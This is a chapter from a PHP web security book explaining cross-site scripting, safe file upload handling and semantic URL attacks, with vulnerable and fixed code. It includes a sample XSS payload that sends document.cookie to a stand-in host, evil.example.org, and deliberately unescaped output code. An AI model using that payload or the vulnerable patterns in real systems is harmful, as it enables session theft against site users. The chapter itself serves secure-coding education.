Cross-Site Scripting

Cross-site scripting (XSS) is deservedly one of the best known types of attacks. It plagues web applications on all platforms, and PHP applications are certainly no exception.

Any application that displays input is at riskweb-based email applications, forums, guestbooks, and even blog aggregators. In fact, most web applications display input of some typethis is what makes them interesting, but it is also what places them at risk. If this input is not properly filtered and escaped, a cross-site scripting vulnerability exists.

Consider a web application that allows users to enter comments on each page. The following form can be used to facilitate this:

<form action="comment.php" method="POST" />

<p>Name: <input type="text" name="name" /><br />

Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />

<input type="submit" value="Add Comment" /></p>

</form>


The application displays comments to other users who visit the page. For example, code similar to the following can be used to output a single comment ($comment) and corresponding name ($name):

<?php


echo "<p>$name writes:<br />";

echo "<blockquote>$comment</blockquote></p>";


?>


This approach places a significant amount of trust in the values of both $comment and $name. Imagine that one of them contained the following:

<script>

document.location =

'http://evil.example.org/steal.php?cookies=' +

document.cookie

</script>


If this comment is sent to your users, it is no different than if you had allowed someone else to add this bit of JavaScript to your source. Your users will involuntarily send their cookies (the ones associated with your application) to evil.example.org, and the receiving script (steal.php) can access all of the cookies in $_GET['cookies'].

This is a common mistake, and it is proliferated by many bad habits that have become commonplace. Luckily, the mistake is easy to avoid. Because the risk exists only when you output tainted, unescaped data, you can simply make sure that you filter input and escape output.

At the very least, you should use htmlentities( ) to escape any data that you send to the clientthis function converts all special characters into their HTML entity equivalents. Thus, any character that the browser interprets in a special way is converted to its HTML entity equivalent so that its original value is preserved.

The following replacement for the code to display a comment is a much safer approach:

<?php


$clean = array();

$html = array();


/* Filter Input ($name, $comment) */


$html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');

$html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');


echo "<p>{$html['name']} writes:<br />";

echo "<blockquote>{$html['comment']}</blockquote></p>";


?>

Sometimes you want to give users the ability to upload files in addition to standard form data. Because files are not sent in the same way as other form data, you must specify a particular type of encodingmultipart/form-data:

<form action="upload.php" method="POST" enctype="multipart/form-data">


An HTTP request that includes both regular form data and files has a special format, and this enctype attribute is necessary for the browser's compliance.

The form element you use to allow the user to select a file for upload is very simple:

<input type="file" name="attachment" />


The rendering of this form element varies from browser to browser. Traditionally, the interface includes a standard text field as well as a browse button, so that the user can either enter the path to the file manually or browse for it. In Safari, only the browse option is available. Luckily, the behavior from a developer's perspective is the same.

To better illustrate the mechanics of a file upload, here's an example form that allows a user to upload an attachment:

<form action="upload.php" method="POST" enctype="multipart/form-data">

<p>Please choose a file to upload:

<input type="hidden" name="MAX_FILE_SIZE" value="1024" />

<input type="file" name="attachment" /><br />

<input type="submit" value="Upload Attachment" /></p>

</form>


The hidden form variable MAX_FILE_SIZE indicates the maximum file size (in bytes) that the browser should allow. As with any client-side restriction, this is easily defeated by an attacker, but it can act as a guide for your legitimate users. The restriction needs to be enforced on the server side in order to be considered reliable.

The receiving script, upload.php, displays the contents of the $_FILES superglobal array:

<?php


header('Content-Type: text/plain');

print_r($_FILES);


?>


To see this process in action, consider a simple file called author.txt:

Chris Shiflett

http://shiflett.org/


When you upload this file to the upload.php script, you see output similar to the following in your browser:

Array

(

[attachment] => Array

(

[name] => author.txt

[type] => text/plain

[tmp_name] => /tmp/phpShfltt

[error] => 0

[size] => 36

)


)


While this illustrates exactly what PHP provides in the $_FILES superglobal array, it doesn't help identify the origin of any of this information. A security-conscious developer needs to be able to identify input, and in order to reveal exactly what the browser sends, it is necessary to examine the HTTP request:

POST /upload.php HTTP/1.1

Host: example.org

Content-Type: multipart/form-data; boundary=----------12345

Content-Length: 245


----------12345

Content-Disposition: form-data; name="attachment"; filename="author.txt"

Content-Type: text/plain


Chris Shiflett

http://shiflett.org/


----------12345

Content-Disposition: form-data; name="MAX_FILE_SIZE"


1024

----------12345--


While it is not necessary that you understand the format of this request, you should be able to identify the file and its associated metadata. Only name and type are provided by the user, and therefore tmp_name, error, and size are provided by PHP.

Because PHP stores an uploaded file in a temporary place on the filesystem (/tmp/phpShfltt in this example), common tasks include moving it somewhere more permanent and reading it into memory. If your code uses tmp_name without verifying that it is in fact the uploaded file (and not something like /etc/passwd), a theoretical risk exists. I refer to this as a theoretical risk because there is no known exploit that allows an attacker to modify tmp_name. However, don't let the lack of an exploit dissuade you from implementing some simple safeguards. New exploits are appearing daily, and a simple step can protect you.

PHP provides two convenient functions for mitigating these theoretical risks: is_uploaded_file( ) and move_uploaded_file( ). If you want to verify only that the file referenced in tmp_name is an uploaded file, you can use is_uploaded_file( ):

<?php


$filename = $_FILES['attachment']['tmp_name'];


if (is_uploaded_file($filename))

{

/* $_FILES['attachment']['tmp_name'] is an uploaded file. */

}


?>


If you want to move the file to a more permanent location, but only if it is an uploaded file, you can use move_uploaded_file( ):

<?php


$old_filename = $_FILES['attachment']['tmp_name'];

$new_filename = '/path/to/attachment.txt';


if (move_uploaded_file($old_filename, $new_filename))

{

/* $old_filename is an uploaded file, and the move was successful. */

}


?>


Lastly, you can use filesize( ) to verify the size of the file:

<?php


$filename = $_FILES['attachment']['tmp_name'];


if (is_uploaded_file($filename))

{

$size = filesize($filename);

}


?>


The purpose of these safeguards is to add an extra layer of security. A best practice is always to trust as little as possible.

Curiosity is the motivation behind many attacks, and semantic URL attacks are a perfect example. This type of attack involves the user modifying the URL in order to discover what interesting things can be done. For example, if the user chris clicks a link in your application and arrives at http://example.org/private.php?user=chris, it is reasonable to assume that he will try to see what happens when the value for user is changed. For example, he might visit http://example.org/private.php?user=rasmus to see if he can access someone else's information. While GET data is only slightly more convenient to manipulate than POST data, its increased exposure makes it a more frequent target, particularly for novice attackers.

Most vulnerabilities exist because of oversight, not because of any particular complexity associated with the exploits. Any experienced developer can easily recognize the danger in trusting a URL in the way just described, but this isn't always clear until someone points it out.

To better illustrate a semantic URL attack and how a vulnerability can go unnoticed, consider a web-based email application where users can log in and check their example.org email accounts. Any application that requires its users to log in needs to provide a password reminder mechanism. A common technique for this is to ask the user a question that a random attacker is unlikely to know (the mother's maiden name is a common query, but allowing the user to specify a unique question and its answer is better) and email a new password to the email address already stored in the user's account.

With a web-based email application, an email address may not already be stored, so a user who answers the verification question may be asked to provide one (the purpose being not only to send the new password to this address, but also to collect an alternative address for future use). The following form asks a user for an alternative email address, and the account name is identified in a hidden form variable:

<form action="reset.php" method="GET">

<input type="hidden" name="user" value="chris" />

<p>Please specify the email address where you want your new password sent:</p>

<input type="text" name="email" /><br />

<input type="submit" value="Send Password" />

</form>


The receiving script, reset.php, has all of the information it needs to reset the password and send the emailthe name of the account that needs to have its password reset and the email address where the new password is to be sent.

If a user arrives at this form (after answering the verification question correctly), you are reasonably assured that the user is not an imposter but rather the legitimate owner of the chris account. If this user then provides chris@example.org as the alternative email address, he arrives at the following URL after submitting the form:

http://example.org/reset.php?user=chris&email=chris%40example.org


This URL is what appears in the location bar of the browser, so a user who goes through this process can easily identify the purpose of the variables user and email. After recognizing this, the user may decide that php@example.org would be a really cool email address to have, so this same user might visit the following URL as an experiment:

http://example.org/reset.php?user=php&email=chris%40example.org


If reset.php trusts these values provided by the user, it is vulnerable to a semantic URL attack. A new password will be generated for the php account, and it will be sent to chris@example.org, effectively allowing chris to steal the php account.

If sessions are being used to keep track of things, this can be avoided easily:

<?php


session_start();


$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';


if (preg_match($email_pattern, $_POST['email']))

{

$clean['email'] = $_POST['email'];

$user = $_SESSION['user'];

$new_password = md5(uniqid(rand(), TRUE));


if ($_SESSION['verified'])

{

/* Update Password */


mail($clean['email'], 'Your New Password', $new_password);

}

}


?>


Although this example omits some realistic details (such as a more complete email message or a more reasonable password), it demonstrates a lack of trust given to the email address provided by the user and, more importantly, session variables that keep up with whether the current user has already answered the verification question correctly ($_SESSION['verified']) and the name of the account for which the verification question was answered ($_SESSION['user']). It is this lack of trust given to input that is the key to preventing such gaping holes in your applications.

top